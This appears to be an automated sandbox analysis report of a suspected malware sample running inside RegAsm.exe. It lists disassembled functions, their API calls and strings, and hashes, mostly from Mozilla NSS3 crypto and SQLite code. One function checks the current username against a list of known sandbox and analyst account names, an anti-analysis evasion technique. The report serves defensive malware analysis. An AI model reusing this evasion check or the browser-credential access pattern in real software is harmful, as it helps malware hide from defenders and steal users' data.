Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: g/$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-683157131
Opcode ID: 2c150f0ca1aaf7176f8d0fe1f00dd91f8044f3bf297d4747f0e8c0b703643d29
Instruction ID: e3e614b8cd16112b0f0dfb14447497a625971758471c15d87868c90e09e9bfb7
Opcode Fuzzy Hash: 2c150f0ca1aaf7176f8d0fe1f00dd91f8044f3bf297d4747f0e8c0b703643d29
Instruction Fuzzy Hash: 8261F3F0B04348AFEB109F60C849BA57FB8EF56708F448598F5249B681D7788A75CFA1

Function 6C336E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1ECA30: EnterCriticalSection.KERNEL32(?,?,?,6C24F9C9,?,6C24F4DA,6C24F9C9,?,?,6C21369A), ref: 6C1ECA7A
Part of subcall function 6C1ECA30: LeaveCriticalSection.KERNEL32(?), ref: 6C1ECB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C1FBE66), ref: 6C336E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C1FBE66), ref: 6C336E98
sqlite3_snprintf.NSS3(?,00000000,6C39AAF9,?,?,?,?,?,?,6C1FBE66), ref: 6C336EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C1FBE66), ref: 6C336ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C1FBE66), ref: 6C336EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C1FBE66), ref: 6C336F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C1FBE66), ref: 6C336F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C1FBE66), ref: 6C336F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C1FBE66), ref: 6C336FA6
sqlite3_snprintf.NSS3(?,00000000,6C39AAF9,00000000,?,?,?,?,?,?,?,6C1FBE66), ref: 6C336FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C1FBE66), ref: 6C336FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C1FBE66), ref: 6C336FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C1FBE66), ref: 6C337014
sqlite3_free.NSS3(00000000,?,?,?,?,6C1FBE66), ref: 6C33701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C1FBE66), ref: 6C337030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C1FBE66), ref: 6C33705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C1FBE66), ref: 6C337079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C1FBE66), ref: 6C337097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C1FBE66), ref: 6C3370A0

Strings

winGetTempname1, xrefs: 6C33708F
winGetTempname4, xrefs: 6C337046
winGetTempname5, xrefs: 6C337071
winGetTempname2, xrefs: 6C3370C4
mz_etilqs_, xrefs: 6C336F18
P7l, xrefs: 6C3370A8

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: P7l$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3103770190
Opcode ID: 1d59bb6d4c3166cf05b36016b47550f3dfd95aaf83287a14256c68982f5804d1
Instruction ID: 3d523d6d9129c7af376a99f1f6c8371a622b483868158b7847acb69cf4b089d8
Opcode Fuzzy Hash: 1d59bb6d4c3166cf05b36016b47550f3dfd95aaf83287a14256c68982f5804d1
Instruction Fuzzy Hash: A6518BB1A046605BE31056309C51BFB366A9F8331CF145638E909DBBC1FB2A951E8AE3

Function 6C298E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C298E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C298EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C298EB3

Part of subcall function 6C37D930: PL_strncpyz.NSS3(?,?,?), ref: 6C37D963

PR_LogPrint.NSS3(?,00000000), ref: 6C298EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C298EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C298F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C298F29
PR_LogPrint.NSS3(?,00000000), ref: 6C298F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C298F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C298F80
PR_LogPrint.NSS3(?,00000000), ref: 6C298F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C298FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C298FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C299047

Strings

pWrappedKey = 0x%p, xrefs: 6C298FAD
*pulWrappedKeyLen = 0x%x, xrefs: 6C299042
pMechanism = 0x%p, xrefs: 6C298EE0
pulWrappedKeyLen = 0x%p, xrefs: 6C298FC8
(CK_INVALID_HANDLE), xrefs: 6C298EAC, 6C298F1F, 6C298F79
n7l, xrefs: 6C298FEC, 6C299023
hKey = 0x%x, xrefs: 6C298F5B, 6C298F6B
C_WrapKey, xrefs: 6C298E71
hSession = 0x%x, xrefs: 6C298E8E, 6C298E9E
hWrappingKey = 0x%x, xrefs: 6C298F01, 6C298F11

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$n7l
API String ID: 1003633598-1107640349
Opcode ID: ddec48ffb5ca29e9c34fe67fcb10e70f2201c26b5a5aa74f70a2c660e75fd245
Instruction ID: 67977278c044b93c25a0b921fd82eba77f53143d8ffd459f41f6554cbf7fe60d
Opcode Fuzzy Hash: ddec48ffb5ca29e9c34fe67fcb10e70f2201c26b5a5aa74f70a2c660e75fd245
Instruction Fuzzy Hash: 2C51F732602109AFDB109F15DD48F9F7776AB4331DF484025FD096BA12D73AA918CFA6

Function 00424AE7 Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00424AEF
__mtterm.LIBCMT ref: 00424AFB

Part of subcall function 004247BA: DecodePointer.KERNEL32(FFFFFFFF), ref: 004247CB
Part of subcall function 004247BA: TlsFree.KERNEL32(FFFFFFFF), ref: 004247E5

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00424B11
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00424B1E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00424B2B
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00424B38
TlsAlloc.KERNEL32 ref: 00424B88
TlsSetValue.KERNEL32(00000000), ref: 00424BA3
__init_pointers.LIBCMT ref: 00424BAD
EncodePointer.KERNEL32 ref: 00424BBE
EncodePointer.KERNEL32 ref: 00424BCB
EncodePointer.KERNEL32 ref: 00424BD8
EncodePointer.KERNEL32 ref: 00424BE5
DecodePointer.KERNEL32(Function_0002493E), ref: 00424C06
__calloc_crt.LIBCMT ref: 00424C1B
DecodePointer.KERNEL32(00000000), ref: 00424C35
__initptd.LIBCMT ref: 00424C40
GetCurrentThreadId.KERNEL32 ref: 00424C47

Strings

FlsAlloc, xrefs: 00424B0B
FlsSetValue, xrefs: 00424B20
KERNEL32.DLL, xrefs: 00424AEA
FlsFree, xrefs: 00424B2D
FlsGetValue, xrefs: 00424B13

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: b32a4c92fbad1969bf2469835beceff6d25c15e92dbdda3597b0deb82da1f7d0
Instruction ID: 470a9efb698236a932c313200bb134d8d3818a769c4bd7a647863766f3d20cfc
Opcode Fuzzy Hash: b32a4c92fbad1969bf2469835beceff6d25c15e92dbdda3597b0deb82da1f7d0
Instruction Fuzzy Hash: AA314F31E053609ACB22AF7ABD4861A3FA4EF85762B51053BE410D32B1DBB9D440DF5C

Function 6C2C4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C2B4F51,00000000), ref: 6C2C4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C2B4F51,00000000), ref: 6C2C4C5B
PR_smprintf.NSS3(6C39AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C2B4F51,00000000), ref: 6C2C4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C2B4F51,00000000), ref: 6C2C4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C2C4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C2C4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C2C4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C2B4F51,00000000), ref: 6C2C4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C2B4F51,00000000), ref: 6C2C4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C2C4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C2C4DA2
free.MOZGLUE(?), ref: 6C2C4DB9
free.MOZGLUE(00000000), ref: 6C2C4DCF

Strings

slotFlags, xrefs: 6C2C4D34
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C2C4D9D
0x%08lx=[%s %s], xrefs: 6C2C4D80
any, xrefs: 6C2C4C96
every, xrefs: 6C2C4CA1
rust, xrefs: 6C2C4D22
rootFlags, xrefs: 6C2C4D47
ootT, xrefs: 6C2C4D1A
%s,%s, xrefs: 6C2C4C4B
timeout, xrefs: 6C2C4C91

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 5c50fb4f8e7916f2bb1ef14bfe26f74593fabb15860862e2179cde1e20491a2a
Instruction ID: d9a45c286b5221250a42599035b1c898c8b1f61af7cf2bead081b5a98b87271f
Opcode Fuzzy Hash: 5c50fb4f8e7916f2bb1ef14bfe26f74593fabb15860862e2179cde1e20491a2a
Instruction Fuzzy Hash: 40416BB5A0024A6BE7126F189C40ABF7679AF9231DF084224FC1A5BB01E735D914CBE3

Function 6C2A6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C2A6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C2A6943
Part of subcall function 6C2A6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C2A6957
Part of subcall function 6C2A6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C2A6972
Part of subcall function 6C2A6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C2A6983
Part of subcall function 6C2A6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C2A69AA
Part of subcall function 6C2A6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C2A69BE
Part of subcall function 6C2A6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C2A69D2
Part of subcall function 6C2A6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C2A69DF
Part of subcall function 6C2A6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C2A6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C2A6D8C
free.MOZGLUE(00000000), ref: 6C2A6DC5
free.MOZGLUE(?), ref: 6C2A6DD6
free.MOZGLUE(?), ref: 6C2A6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C2A6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C2A6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C2A6E72
free.MOZGLUE(?), ref: 6C2A6EA7
free.MOZGLUE(?), ref: 6C2A6EC4
free.MOZGLUE(?), ref: 6C2A6ED5
free.MOZGLUE(00000000), ref: 6C2A6EE3
free.MOZGLUE(?), ref: 6C2A6EF4
free.MOZGLUE(?), ref: 6C2A6F08
free.MOZGLUE(00000000), ref: 6C2A6F35
free.MOZGLUE(?), ref: 6C2A6F44
free.MOZGLUE(?), ref: 6C2A6F5B
free.MOZGLUE(00000000), ref: 6C2A6F65

Part of subcall function 6C2A6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C2A781D,00000000,6C29BE2C,?,6C2A6B1D,?,?,?,?,00000000,00000000,6C2A781D), ref: 6C2A6C40
Part of subcall function 6C2A6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C2A781D,?,6C29BE2C,?), ref: 6C2A6C58
Part of subcall function 6C2A6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C2A781D), ref: 6C2A6C6F
Part of subcall function 6C2A6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C2A6C84
Part of subcall function 6C2A6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C2A6C96
Part of subcall function 6C2A6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C2A6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C2A6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C2A6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C2A6FF4

Strings

+`+l, xrefs: 6C2A6D0D

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`+l
API String ID: 1304971872-752151577
Opcode ID: b1526cf67753ba1530e75fcd5a2cda3336369a19af23b21cb7ff125be8c60bc4
Instruction ID: 41c563ad2c16d4923f1f1c36b6ffbd107971e203cabf446ff558976640bf36db
Opcode Fuzzy Hash: b1526cf67753ba1530e75fcd5a2cda3336369a19af23b21cb7ff125be8c60bc4
Instruction Fuzzy Hash: D8B14DB5E0120E9FDF10CBE9D984B9EBBB8AF0934AF140025EC15E7641E735E916CB61

Function 00401927 Relevance: 36.8, APIs: 2, Strings: 19, Instructions: 56stringCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00401A13
lstrcmpiA.KERNEL32(0043ABC4,?), ref: 00401A2E

Strings

CurrentUser, xrefs: 0040194B
user, xrefs: 004019B9
Johnson, xrefs: 00401987
Hong Lee, xrefs: 00401973
Sand box, xrefs: 00401955
milozs, xrefs: 0040199B
WDAGUtilityAccount, xrefs: 004019FF
virus, xrefs: 004019EB
John Doe, xrefs: 004019F5
Miller, xrefs: 00401991
test user, xrefs: 004019E1
HAPUBWS, xrefs: 00401969
Peter Wilson, xrefs: 004019A5
malware, xrefs: 004019CD
timmy, xrefs: 004019AF
Emily, xrefs: 0040195F
sandbox, xrefs: 004019C3
maltest, xrefs: 004019D7
IT-ADMIN, xrefs: 0040197D

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: NameUserlstrcmpi
String ID: CurrentUser$Emily$HAPUBWS$Hong Lee$IT-ADMIN$John Doe$Johnson$Miller$Peter Wilson$Sand box$WDAGUtilityAccount$maltest$malware$milozs$sandbox$test user$timmy$user$virus
API String ID: 542268695-1784693376
Opcode ID: 8881371c4092f37758bf4668d714b76c2922fd0a747c9c434905da46a7f60057
Instruction ID: 805f47a77f38f91edea5e71dbf2a6b88f22d823d3df89dc3e76ba5e3d98d710e
Opcode Fuzzy Hash: 8881371c4092f37758bf4668d714b76c2922fd0a747c9c434905da46a7f60057
Instruction Fuzzy Hash: 5F21FFB094126C8BCB20CF159D4C6DDBBB5AB59308F00B1DAD189AA250C7B85FE9CF4D

Function 6C2A2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C2A2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C2A2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C2A2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C2A2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C274F1C,?,-00000001,00000000,?), ref: 6C2A2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C274F1C,?,-00000001,00000000), ref: 6C2A2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C2A2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C2A2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C2A2EF8
PR_Unlock.NSS3(?), ref: 6C2A2F62
TlsGetValue.KERNEL32 ref: 6C2A2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C2A2F9E
PR_Unlock.NSS3(?), ref: 6C2A2FCA
TlsGetValue.KERNEL32 ref: 6C2A301A
EnterCriticalSection.KERNEL32(?), ref: 6C2A302E
PR_Unlock.NSS3(?), ref: 6C2A3066
PR_SetError.NSS3(00000000,00000000), ref: 6C2A3085
PR_Unlock.NSS3(?), ref: 6C2A30EC
TlsGetValue.KERNEL32 ref: 6C2A310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C2A3124
PR_Unlock.NSS3(?), ref: 6C2A314C

Part of subcall function 6C289180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C2B379E,?,6C289568,00000000,?,6C2B379E,?,00000001,?), ref: 6C28918D
Part of subcall function 6C289180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C2B379E,?,6C289568,00000000,?,6C2B379E,?,00000001,?), ref: 6C2891A0

Part of subcall function 6C2507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C1E204A), ref: 6C2507AD
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1E204A), ref: 6C2507CD
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1E204A), ref: 6C2507D6
Part of subcall function 6C2507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C1E204A), ref: 6C2507E4
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,6C1E204A), ref: 6C250864
Part of subcall function 6C2507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C250880
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,?,6C1E204A), ref: 6C2508CB
Part of subcall function 6C2507A0: TlsGetValue.KERNEL32(?,?,6C1E204A), ref: 6C2508D7
Part of subcall function 6C2507A0: TlsGetValue.KERNEL32(?,?,6C1E204A), ref: 6C2508FB

PR_SetError.NSS3(00000000,00000000), ref: 6C2A316D

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: b9bdfcdd610f1eaf210079c39a4d6d86ff53577443814dc40c142a44d022f91b
Instruction ID: 106d909858a3736ba3fbff66423213c6a490d2ab4ba995e6c2ead6c50f46d52d
Opcode Fuzzy Hash: b9bdfcdd610f1eaf210079c39a4d6d86ff53577443814dc40c142a44d022f91b
Instruction Fuzzy Hash: ADF17DB5D002199FDF00DFA9D844BAEBBB8BF09318F144169EC05A7711EB31E996CB91

Function 6C296D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C296D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C296DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C296DC3

Part of subcall function 6C37D930: PL_strncpyz.NSS3(?,?,?), ref: 6C37D963

PR_LogPrint.NSS3(?,00000000), ref: 6C296DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C296DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C296E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C296E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C296E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C296EB9

Strings

C_Digest, xrefs: 6C296D81
pData = 0x%p, xrefs: 6C296DF5
(CK_INVALID_HANDLE), xrefs: 6C296DBC
n7l, xrefs: 6C296E61, 6C296E95
*pulDigestLen = 0x%x, xrefs: 6C296EB4
pulDigestLen = 0x%p, xrefs: 6C296E42
hSession = 0x%x, xrefs: 6C296D9E, 6C296DAE
ulDataLen = %d, xrefs: 6C296E0E
